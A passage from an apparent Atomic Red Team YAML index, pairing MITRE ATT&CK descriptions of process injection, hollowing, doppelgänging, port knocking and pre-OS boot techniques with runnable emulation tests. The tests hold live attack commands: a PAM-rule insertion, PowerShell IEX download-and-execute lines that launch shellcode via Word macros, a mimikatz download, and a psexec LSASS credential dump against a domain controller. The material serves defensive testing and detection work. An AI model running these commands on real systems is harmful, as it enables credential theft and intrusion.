        prereq_command: 'if [ -f #{path_to_pam_module} ]; then exit 0; else exit 1;
          fi;

'
        get_prereq_command: 'sudo gcc -shared -fPIC -o #{path_to_pam_module} #{path_to_pam_module_source}

'
      executor:
        name: sh
        elevation_required: true
        command: 'sudo sed -i "#{index}s,^,#{pam_rule}\n,g" #{path_to_pam_conf}

'
        cleanup_command: 'sudo sed -i "\,#{pam_rule},d" #{path_to_pam_conf}

'
  T1205.001:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1205.001
        url: https://attack.mitre.org/techniques/T1205/001
      - url: https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631
        description: 'Hartrell, Greg. (2002, August). Get a handle on cd00r: The invisible
          backdoor. Retrieved October 13, 2018.'
        source_name: Hartrell cd00r 2002
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Port Knocking
      description: |-
        Adversaries may use port knocking to hide open ports used for persistence or command and control. To enable a port, an adversary sends a series of attempted connections to a predefined sequence of closed ports. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software.

        This technique has been observed to both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system.

        The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.
      id: attack-pattern--8868cb5b-d575-4a60-acb2-07d37389a2fd
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      modified: '2020-10-21T01:26:31.804Z'
      created: '2020-07-01T18:23:25.002Z'
      x_mitre_version: '1.1'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - User
      x_mitre_detection: Record network packets sent to and from the system, looking
        for extraneous packets that do not belong to established flows.
      x_mitre_data_sources:
      - 'Network Traffic: Network Connection Creation'
      - 'Network Traffic: Network Traffic Flow'
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Network
    atomic_tests: []
  T1055.002:
    technique:
      created: '2020-01-14T01:27:31.344Z'
      modified: '2020-11-10T18:29:30.882Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      type: attack-pattern
      id: attack-pattern--806a49c4-970d-43f9-9acc-ac0ee11e6662
      description: "Adversaries may inject portable executables (PE) into processes
        in order to evade process-based defenses as well as possibly elevate privileges.
        PE injection is a method of executing arbitrary code in the address space
        of a separate live process. \n\nPE injection is commonly performed by copying
        code (perhaps without a file on disk) into the virtual address space of the
        target process before invoking it via a new thread. The write can be performed
        with native Windows API calls such as <code>VirtualAllocEx</code> and <code>WriteProcessMemory</code>,
        then invoked with <code>CreateRemoteThread</code> or additional code (ex:
        shellcode). The displacement of the injected code does introduce the additional
        requirement for functionality to remap memory references. (Citation: Elastic
        Process Injection July 2017) \n\nRunning code in the context of another process
        may allow access to the process's memory, system/network resources, and possibly
        elevated privileges. Execution via PE injection may also evade detection from
        security products since the execution is masked under a legitimate process. "
      name: Portable Executable Injection
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1055.002
        url: https://attack.mitre.org/techniques/T1055/002
      - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
          A Technical Survey Of Common And Trending Process Injection Techniques.
          Retrieved December 7, 2017.'
        source_name: Elastic Process Injection July 2017
      x_mitre_platforms:
      - Windows
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_detection: "Monitoring Windows API calls indicative of the various types
        of code injection may generate a significant amount of data and may not be
        directly useful for defense unless collected under specific circumstances
        for known bad sequences of calls, since benign use of API functions may be
        common and difficult to distinguish from malicious behavior. Windows API calls
        such as <code>CreateRemoteThread</code> and those that can be used to modify
        memory within another process, such as <code>VirtualAllocEx</code>/<code>WriteProcessMemory</code>,
        may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze
        process behavior to determine if a process is performing actions it usually
        does not, such as opening network connections, reading files, or other suspicious
        actions that could relate to post-compromise behavior. "
      x_mitre_permissions_required:
      - User
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      - 'Process: Process Access'
      x_mitre_defense_bypassed:
      - Anti-virus
      - Application control
    atomic_tests: []
  T1542:
    technique:
      id: attack-pattern--7f0ca133-88c4-40c6-a62f-b3083a7fbc2e
      description: |-
        Adversaries may abuse Pre-OS Boot mechanisms as a way to establish persistence on a system. During the booting process of a computer, firmware and various startup services are loaded before the operating system. These programs control flow of execution before the operating system takes control.(Citation: Wikipedia Booting)

        Adversaries may overwrite data in boot drivers or firmware such as BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) to persist on systems at a layer below the operating system. This can be particularly difficult to detect as malware at this level will not be detected by host software-based defenses.
      name: Pre-OS Boot
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1542
        url: https://attack.mitre.org/techniques/T1542
      - source_name: Wikipedia Booting
        url: https://en.wikipedia.org/wiki/Booting
        description: Wikipedia. (n.d.). Booting. Retrieved November 13, 2019.
      - url: https://www.itworld.com/article/2853992/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html
        description: Pinola, M. (2014, December 14). 3 tools to check your hard drive's
          health and make sure it's not already dying on you. Retrieved October 2,
          2018.
        source_name: ITWorld Hard Disk Health Dec 2014
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      modified: '2020-10-22T16:35:54.740Z'
      created: '2019-11-13T14:44:49.439Z'
      x_mitre_platforms:
      - Linux
      - Windows
      - Network
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Network Traffic: Network Connection Creation'
      - 'Firmware: Firmware Modification'
      - 'Driver: Driver Metadata'
      - 'Process: OS API Execution'
      - 'Drive: Drive Modification'
      x_mitre_permissions_required:
      - Administrator
      - SYSTEM
      x_mitre_defense_bypassed:
      - Anti-virus
      - Host intrusion prevention systems
      - File monitoring
      x_mitre_version: '1.1'
      x_mitre_detection: |-
        Perform integrity checking on pre-OS boot mechanisms that can be manipulated for malicious purposes. Take snapshots of boot records and firmware and compare against known good images. Log changes to boot records, BIOS, and EFI, which can be performed by API calls, and compare against known good behavior and patching.

        Disk check, forensic utilities, and data from device drivers (i.e. processes and API calls) may reveal anomalies that warrant deeper investigation. (Citation: ITWorld Hard Disk Health Dec 2014)
      x_mitre_is_subtechnique: false
    atomic_tests: []
  T1055.009:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1055.009
        url: https://attack.mitre.org/techniques/T1055/009
      - url: http://hick.org/code/skape/papers/needle.txt
        description: skape. (2003, January 19). Linux x86 run-time process manipulation.
          Retrieved December 20, 2017.
        source_name: Uninformed Needle
      - source_name: GDS Linux Injection
        url: https://blog.gdssecurity.com/labs/2017/9/5/linux-based-inter-process-code-injection-without-ptrace2.html
        description: McNamara, R. (2017, September 5). Linux Based Inter-Process Code
          Injection Without Ptrace(2). Retrieved February 21, 2020.
      - source_name: DD Man
        url: http://man7.org/linux/man-pages/man1/dd.1.html
        description: Kerrisk, M. (2020, February 2). DD(1) User Commands. Retrieved
          February 21, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Proc Memory
      description: "Adversaries may inject malicious code into processes via the /proc
        filesystem in order to evade process-based defenses as well as possibly elevate
        privileges. Proc memory injection is a method of executing arbitrary code
        in the address space of a separate live process. \n\nProc memory injection
        involves enumerating the memory of a process via the /proc filesystem (<code>/proc/[pid]</code>)
        then crafting a return-oriented programming (ROP) payload with available gadgets/instructions.
        Each running process has its own directory, which includes memory mappings.
        Proc memory injection is commonly performed by overwriting the target processes’
        stack using memory mappings provided by the /proc filesystem. This information
        can be used to enumerate offsets (including the stack) and gadgets (or instructions
        within the program that can be used to build a malicious payload) otherwise
        hidden by process memory protections such as address space layout randomization
        (ASLR). Once enumerated, the target processes’ memory map within <code>/proc/[pid]/maps</code>
        can be overwritten using dd.(Citation: Uninformed Needle)(Citation: GDS Linux
        Injection)(Citation: DD Man) \n\nOther techniques such as [Dynamic Linker
        Hijacking](https://attack.mitre.org/techniques/T1574/006) may be used to populate
        a target process with more available gadgets. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012),
        proc memory injection may target child processes (such as a backgrounded copy
        of sleep).(Citation: GDS Linux Injection) \n\nRunning code in the context
        of another process may allow access to the process's memory, system/network
        resources, and possibly elevated privileges. Execution via proc memory injection
        may also evade detection from security products since the execution is masked
        under a legitimate process. "
      id: attack-pattern--d201d4cc-214d-4a74-a1ba-b3fa09fd4591
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2020-06-20T22:25:55.331Z'
      created: '2020-01-14T01:34:10.588Z'
      x_mitre_defense_bypassed:
      - Application control
      - Anti-virus
      x_mitre_data_sources:
      - 'File: File Modification'
      x_mitre_detection: "File system monitoring can determine if /proc files are
        being modified. Users should not have permission to modify these in most cases.
        \n\nAnalyze process behavior to determine if a process is performing actions
        it usually does not, such as opening network connections, reading files, or
        other suspicious actions that could relate to post-compromise behavior. "
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
    atomic_tests: []
  T1055.013:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1055.013
        url: https://attack.mitre.org/techniques/T1055/013
      - url: https://msdn.microsoft.com/library/windows/desktop/bb968806.aspx
        description: Microsoft. (n.d.). Transactional NTFS (TxF). Retrieved December
          20, 2017.
        source_name: Microsoft TxF
      - url: https://msdn.microsoft.com/library/windows/desktop/dd979526.aspx
        description: Microsoft. (n.d.). Basic TxF Concepts. Retrieved December 20,
          2017.
        source_name: Microsoft Basic TxF Concepts
      - url: https://msdn.microsoft.com/library/windows/desktop/aa365738.aspx
        description: Microsoft. (n.d.). When to Use Transactional NTFS. Retrieved
          December 20, 2017.
        source_name: Microsoft Where to use TxF
      - url: https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf
        description: 'Liberman, T. & Kogan, E. (2017, December 7). Lost in Transaction:
          Process Doppelgänging. Retrieved December 20, 2017.'
        source_name: BlackHat Process Doppelgänging Dec 2017
      - url: https://hshrzd.wordpress.com/2017/12/18/process-doppelganging-a-new-way-to-impersonate-a-process/
        description: hasherezade. (2017, December 18). Process Doppelgänging – a new
          way to impersonate a process. Retrieved December 20, 2017.
        source_name: hasherezade Process Doppelgänging Dec 2017
      - url: https://msdn.microsoft.com/library/windows/hardware/ff559951.aspx
        description: Microsoft. (n.d.). PsSetCreateProcessNotifyRoutine routine. Retrieved
          December 20, 2017.
        source_name: Microsoft PsSetCreateProcessNotifyRoutine routine
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Process Doppelgänging
      description: "Adversaries may inject malicious code into process via process
        doppelgänging in order to evade process-based defenses as well as possibly
        elevate privileges. Process doppelgänging is a method of executing arbitrary
        code in the address space of a separate live process. \n\nWindows Transactional
        NTFS (TxF) was introduced in Vista as a method to perform safe file operations.
        (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted
        handle to write to a file at a given time. Until the write handle transaction
        is terminated, all other handles are isolated from the writer and may only
        read the committed version of the file that existed at the time the handle
        was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption,
        TxF performs an automatic rollback if the system or application fails during
        a write transaction. (Citation: Microsoft Where to use TxF)\n\nAlthough deprecated,
        the TxF application programming interface (API) is still enabled as of Windows
        10. (Citation: BlackHat Process Doppelgänging Dec 2017)\n\nAdversaries may
        abuse TxF to a perform a file-less variation of [Process Injection](https://attack.mitre.org/techniques/T1055).
        Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012),
        process doppelgänging involves replacing the memory of a legitimate process,
        enabling the veiled execution of malicious code that may evade defenses and
        detection. Process doppelgänging's use of TxF also avoids the use of highly-monitored
        API functions such as <code>NtUnmapViewOfSection</code>, <code>VirtualProtectEx</code>,
        and <code>SetThreadContext</code>. (Citation: BlackHat Process Doppelgänging
        Dec 2017)\n\nProcess Doppelgänging is implemented in 4 steps (Citation: BlackHat
        Process Doppelgänging Dec 2017):\n\n* Transact – Create a TxF transaction
        using a legitimate executable then overwrite the file with malicious code.
        These changes will be isolated and only visible within the context of the
        transaction.\n* Load – Create a shared section of memory and load the malicious
        executable.\n* Rollback – Undo changes to original executable, effectively
        removing malicious code from the file system.\n* Animate – Create a process
        from the tainted section of memory and initiate execution.\n\nThis behavior
        will likely not result in elevated privileges since the injected process was
        spawned from (and thus inherits the security context) of the injecting process.
        However, execution via process doppelgänging may evade detection from security
        products since the execution is masked under a legitimate process. "
      id: attack-pattern--7007935a-a8a7-4c0b-bd98-4e85be8ed197
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2021-02-09T15:43:48.848Z'
      created: '2020-01-14T17:19:50.978Z'
      x_mitre_defense_bypassed:
      - Anti-virus
      - Application control
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      - 'File: File Metadata'
      x_mitre_permissions_required:
      - Administrator
      - SYSTEM
      - User
      x_mitre_detection: |-
        Monitor and analyze calls to <code>CreateTransaction</code>, <code>CreateFileTransacted</code>, <code>RollbackTransaction</code>, and other rarely used functions indicative of TxF activity. Process Doppelgänging also invokes an outdated and undocumented implementation of the Windows process loader via calls to <code>NtCreateProcessEx</code> and <code>NtCreateThreadEx</code> as well as API calls used to modify memory within another process, such as <code>WriteProcessMemory</code>. (Citation: BlackHat Process Doppelgänging Dec 2017) (Citation: hasherezade Process Doppelgänging Dec 2017)

        Scan file objects reported during the PsSetCreateProcessNotifyRoutine, (Citation: Microsoft PsSetCreateProcessNotifyRoutine routine) which triggers a callback whenever a process is created or deleted, specifically looking for file objects with enabled write access. (Citation: BlackHat Process Doppelgänging Dec 2017) Also consider comparing file objects loaded in memory to the corresponding file on disk. (Citation: hasherezade Process Doppelgänging Dec 2017)

        Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
    atomic_tests: []
  T1055.012:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1055.012
        url: https://attack.mitre.org/techniques/T1055/012
      - url: http://www.autosectools.com/process-hollowing.pdf
        description: Leitch, J. (n.d.). Process Hollowing. Retrieved November 12,
          2014.
        source_name: Leitch Hollowing
      - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
          A Technical Survey Of Common And Trending Process Injection Techniques.
          Retrieved December 7, 2017.'
        source_name: Elastic Process Injection July 2017
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Process Hollowing
      description: "Adversaries may inject malicious code into suspended and hollowed
        processes in order to evade process-based defenses. Process hollowing is a
        method of executing arbitrary code in the address space of a separate live
        process.  \n\nProcess hollowing is commonly performed by creating a process
        in a suspended state then unmapping/hollowing its memory, which can then be
        replaced with malicious code. A victim process can be created with native
        Windows API calls such as <code>CreateProcess</code>, which includes a flag
        to suspend the processes primary thread. At this point the process can be
        unmapped using APIs calls such as <code>ZwUnmapViewOfSection</code> or <code>NtUnmapViewOfSection</code>
        \ before being written to, realigned to the injected code, and resumed via
        <code>VirtualAllocEx</code>, <code>WriteProcessMemory</code>, <code>SetThreadContext</code>,
        then <code>ResumeThread</code> respectively.(Citation: Leitch Hollowing)(Citation:
        Elastic Process Injection July 2017)\n\nThis is very similar to [Thread Local
        Storage](https://attack.mitre.org/techniques/T1055/005) but creates a new
        process rather than targeting an existing process. This behavior will likely
        not result in elevated privileges since the injected process was spawned from
        (and thus inherits the security context) of the injecting process. However,
        execution via process hollowing may also evade detection from security products
        since the execution is masked under a legitimate process. "
      id: attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2020-11-10T18:29:31.031Z'
      created: '2020-01-14T17:21:54.470Z'
      x_mitre_defense_bypassed:
      - Application control
      - Anti-virus
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      - 'Process: Process Access'
      x_mitre_permissions_required:
      - User
      x_mitre_detection: "Monitoring Windows API calls indicative of the various types
        of code injection may generate a significant amount of data and may not be
        directly useful for defense unless collected under specific circumstances
        for known bad sequences of calls, since benign use of API functions may be
        common and difficult to distinguish from malicious behavior. Windows API calls
        such as <code>CreateRemoteThread</code>, <code>SuspendThread</code>/<code>SetThreadContext</code>/<code>ResumeThread</code>,
        and those that can be used to modify memory within another process, such as
        <code>VirtualAllocEx</code>/<code>WriteProcessMemory</code>, may be used for
        this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze
        process behavior to determine if a process is performing actions it usually
        does not, such as opening network connections, reading files, or other suspicious
        actions that could relate to post-compromise behavior. "
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      identifier: T1055.012
    atomic_tests:
    - name: Process Hollowing using PowerShell
      auto_generated_guid: 562427b4-39ef-4e8c-af88-463a78e70b9c
      description: |
        This test uses PowerShell to create a Hollow from a PE on disk with explorer as the parent.
        Credit to FuzzySecurity (https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Start-Hollow.ps1)
      supported_platforms:
      - windows
      input_arguments:
        hollow_binary_path:
          description: Path of the binary to hollow (executable that will run inside
            the sponsor)
          type: String
          default: C:\Windows\System32\cmd.exe
        parent_process_name:
          description: Name of the parent process
          type: String
          default: explorer
        sponsor_binary_path:
          description: Path of the sponsor binary (executable that will host the binary)
          type: String
          default: C:\Windows\System32\notepad.exe
        spawnto_process_name:
          description: Name of the process to spawn
          type: String
          default: notepad
      executor:
        command: |
          . $PathToAtomicsFolder\T1055.012\src\Start-Hollow.ps1
          $ppid=Get-Process #{parent_process_name} | select -expand id
          Start-Hollow -Sponsor "#{sponsor_binary_path}" -Hollow "#{hollow_binary_path}" -ParentPID $ppid -Verbose
        cleanup_command: 'Stop-Process -Name "#{spawnto_process_name}" -ErrorAction
          Ignore

'
        name: powershell
    - name: RunPE via VBA
      auto_generated_guid: 3ad4a037-1598-4136-837c-4027e4fa319b
      description: 'This module executes notepad.exe from within the WINWORD.EXE process

'
      supported_platforms:
      - windows
      input_arguments:
        ms_product:
          description: Maldoc application Word
          type: String
          default: Word
      dependency_executor_name: powershell
      dependencies:
      - description: 'Microsoft #{ms_product} must be installed

'
        prereq_command: |
          try {
            New-Object -COMObject "#{ms_product}.Application" | Out-Null
            $process = "#{ms_product}"; if ( $process -eq "Word") {$process = "winword"}
            Stop-Process -Name $process
            exit 0
          } catch { exit 1 }
        get_prereq_command: 'Write-Host "You will need to install Microsoft #{ms_product}
          manually to meet this requirement"

'
      executor:
        command: "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX
          (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\"
          -UseBasicParsing) \nInvoke-MalDoc -macroFile \"PathToAtomicsFolder\\T1055.012\\src\\T1055.012-macrocode.txt\"
          -officeProduct \"#{ms_product}\" -sub \"Exploit\"\n"
        name: powershell
  T1055:
    technique:
      created: '2017-05-31T21:30:47.843Z'
      modified: '2021-02-09T15:43:50.029Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      type: attack-pattern
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1055
        url: https://attack.mitre.org/techniques/T1055
      - external_id: CAPEC-640
        source_name: capec
        url: https://capec.mitre.org/data/definitions/640.html
      - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
          A Technical Survey Of Common And Trending Process Injection Techniques.
          Retrieved December 7, 2017.'
        source_name: Elastic Process Injection July 2017
      - description: 'Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics:
          Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved
          December 20, 2017.'
        source_name: ArtOfMemoryForensics
      - url: https://www.gnu.org/software/acct/
        description: GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved
          December 20, 2017.
        source_name: GNU Acct
      - url: https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing
        description: Jahoda, M. et al.. (2017, March 14). redhat Security Guide -
          Chapter 7 - System Auditing. Retrieved December 20, 2017.
        source_name: RHEL auditd
      - url: http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html
        description: stderr. (2014, February 14). Detecting Userland Preload Rootkits.
          Retrieved December 20, 2017.
        source_name: Chokepoint preload rootkits
      - url: https://docs.microsoft.com/sysinternals/downloads/sysmon
        description: Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved
          December 13, 2017.
        source_name: Microsoft Sysmon v6 May 2017
      description: "Adversaries may inject code into processes in order to evade process-based
        defenses as well as possibly elevate privileges. Process injection is a method
        of executing arbitrary code in the address space of a separate live process.
        Running code in the context of another process may allow access to the process's
        memory, system/network resources, and possibly elevated privileges. Execution
        via process injection may also evade detection from security products since
        the execution is masked under a legitimate process. \n\nThere are many different
        ways to inject code into a process, many of which abuse legitimate functionalities.
        These implementations exist for every major OS but are typically platform
        specific. \n\nMore sophisticated samples may perform multiple process injections
        to segment modules and further evade detection, utilizing named pipes or other
        inter-process communication (IPC) mechanisms as a communication channel. "
      name: Process Injection
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      id: attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d
      x_mitre_is_subtechnique: false
      x_mitre_version: '1.1'
      x_mitre_contributors:
      - Anastasios Pingios
      - Christiaan Beek, @ChristiaanBeek
      - Ryan Becwar
      x_mitre_data_sources:
      - 'Module: Module Load'
      - 'Process: OS API Execution'
      - 'Process: Process Access'
      - 'File: File Modification'
      - 'File: File Metadata'
      x_mitre_defense_bypassed:
      - Application control
      - Anti-virus
      x_mitre_detection: "Monitoring Windows API calls indicative of the various types
        of code injection may generate a significant amount of data and may not be
        directly useful for defense unless collected under specific circumstances
        for known bad sequences of calls, since benign use of API functions may be
        common and difficult to distinguish from malicious behavior. Windows API calls
        such as <code>CreateRemoteThread</code>, <code>SuspendThread</code>/<code>SetThreadContext</code>/<code>ResumeThread</code>,
        <code>QueueUserAPC</code>/<code>NtQueueApcThread</code>, and those that can
        be used to modify memory within another process, such as <code>VirtualAllocEx</code>/<code>WriteProcessMemory</code>,
        may be used for this technique.(Citation: Elastic Process Injection July 2017)
        \n\nMonitor DLL/PE file events, specifically creation of these binary files
        as well as the loading of DLLs into processes. Look for DLLs that are not
        recognized or not normally loaded into a process. \n\nMonitoring for Linux
        specific calls such as the ptrace system call should not generate large amounts
        of data due to their specialized nature, and can be a very effective method
        to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics)
        \ (Citation: GNU Acct)  (Citation: RHEL auditd)  (Citation: Chokepoint preload
        rootkits) \n\nMonitor for named pipe creation and connection events (Event
        IDs 17 and 18) for possible indicators of infected processes with external
        modules.(Citation: Microsoft Sysmon v6 May 2017) \n\nAnalyze process behavior
        to determine if a process is performing actions it usually does not, such
        as opening network connections, reading files, or other suspicious actions
        that could relate to post-compromise behavior. "
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      identifier: T1055
    atomic_tests:
    - name: Shellcode execution via VBA
      auto_generated_guid: 1c91e740-1729-4329-b779-feba6e71d048
      description: |
        This module injects shellcode into a newly created process and executes. By default the shellcode is created,
        with Metasploit, for use on x86-64 Windows 10 machines.

        Note: Due to the way the VBA code handles memory/pointers/injection, a 64bit installation of Microsoft Office
        is required.
      supported_platforms:
      - windows
      dependency_executor_name: powershell
      dependencies:
      - description: 'The 64-bit version of Microsoft Office must be installed

'
        prereq_command: |
          try {
            $wdApp = New-Object -COMObject "Word.Application"
            $path = $wdApp.Path
            Stop-Process -Name "winword"
            if ($path.contains("(x86)")) { exit 1 } else { exit 0 }
          } catch { exit 1 }
        get_prereq_command: 'Write-Host "You will need to install Microsoft Word (64-bit)
          manually to meet this requirement"

'
      executor:
        command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
          Invoke-Maldoc -macroFile "PathToAtomicsFolder\T1055\src\x64\T1055-macrocode.txt" -officeProduct "Word" -sub "Execute"
        name: powershell
    - name: Remote Process Injection in LSASS via mimikatz
      auto_generated_guid: 3203ad24-168e-4bec-be36-f79b13ef8a83
      description: |
        Use mimikatz to remotely (via psexec) dump LSASS process content for RID 500 via code injection (new thread).
        Especially useful against domain controllers in Active Directory environments.
        It must be executed in the context of a user who is privileged on remote `machine`.

        The effect of `/inject` is explained in <https://blog.3or.de/mimikatz-deep-dive-on-lsadumplsa-patch-and-inject.html>
      supported_platforms:
      - windows
      input_arguments:
        machine:
          description: machine to target (via psexec)
          type: String
          default: DC1
        mimikatz_path:
          description: Mimikatz windows executable
          type: Path
          default: "%tmp%\\mimikatz\\x64\\mimikatz.exe"
        psexec_path:
          description: Path to PsExec
          type: String
          default: C:\PSTools\PsExec.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'Mimikatz executor must exist on disk and at specified location
          (#{mimikatz_path})

'
        prereq_command: |
          $mimikatz_path = cmd /c echo #{mimikatz_path}
          if (Test-Path $mimikatz_path) {exit 0} else {exit 1}
        get_prereq_command: |
          $mimikatz_path = cmd /c echo #{mimikatz_path}
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          $mimikatz_relative_uri = Invoke-WebRequest "https://github.com/gentilkiwi/mimikatz/releases/latest" -UseBasicParsing | Select-Object -ExpandProperty Links | Where-Object -Property href -Like "*/mimikatz_trunk.zip" | Select-Object -ExpandProperty href
          Invoke-WebRequest "https://github.com$mimikatz_relative_uri" -UseBasicParsing -OutFile "$env:TEMP\mimikatz.zip"
          Expand-Archive $env:TEMP\mimikatz.zip $env:TEMP\mimikatz -Force
          New-Item -ItemType Directory (Split-Path $mimikatz_path) -Force | Out-Null
          Move-Item $env:TEMP\mimikatz\x64\mimikatz.exe $mimikatz_path -Force
      - description: 'PsExec tool from Sysinternals must exist on disk at specified
          location (#{psexec_path})

'
        prereq_command: 'if (Test-Path "#{psexec_path}") { exit 0} else { exit 1}

'
        get_prereq_command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "$env:TEMP\PsTools.zip"
          Expand-Archive $env:TEMP\PsTools.zip $env:TEMP\PsTools -Force
          New-Item -ItemType Directory (Split-Path "#{psexec_path}") -Force | Out-Null
          Copy-Item $env:TEMP\PsTools\PsExec.exe "#{psexec_path}" -Force
      executor:
        command: '#{psexec_path} /accepteula \\#{machine} -c #{mimikatz_path} "lsadump::lsa
          /inject /id:500" "exit"

'
        name: command_prompt
        elevation_required: false
  T1055.008:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1055.008
        url: https://attack.mitre.org/techniques/T1055/008
      - source_name: PTRACE man
        url: http://man7.org/linux/man-pages/man2/ptrace.2.html
        description: Kerrisk, M. (2020, February 9). PTRACE(2) - Linux Programmer's
          Manual. Retrieved February 21, 2020.
      - source_name: Medium Ptrace JUL 2018
        url: https://medium.com/@jain.sm/code-injection-in-running-process-using-ptrace-d3ea7191a4be
        description: Jain, S. (2018, July 25). Code injection in running process using
          ptrace. Retrieved February 21, 2020.
      - source_name: BH Linux Inject
        url: https://github.com/gaffe23/linux-inject/blob/master/slides_BHArsenal2015.pdf
        description: Colgan, T. (2015, August 15). Linux-Inject. Retrieved February
          21, 2020.
      - description: 'Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics:
          Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved
          December 20, 2017.'
        source_name: ArtOfMemoryForensics
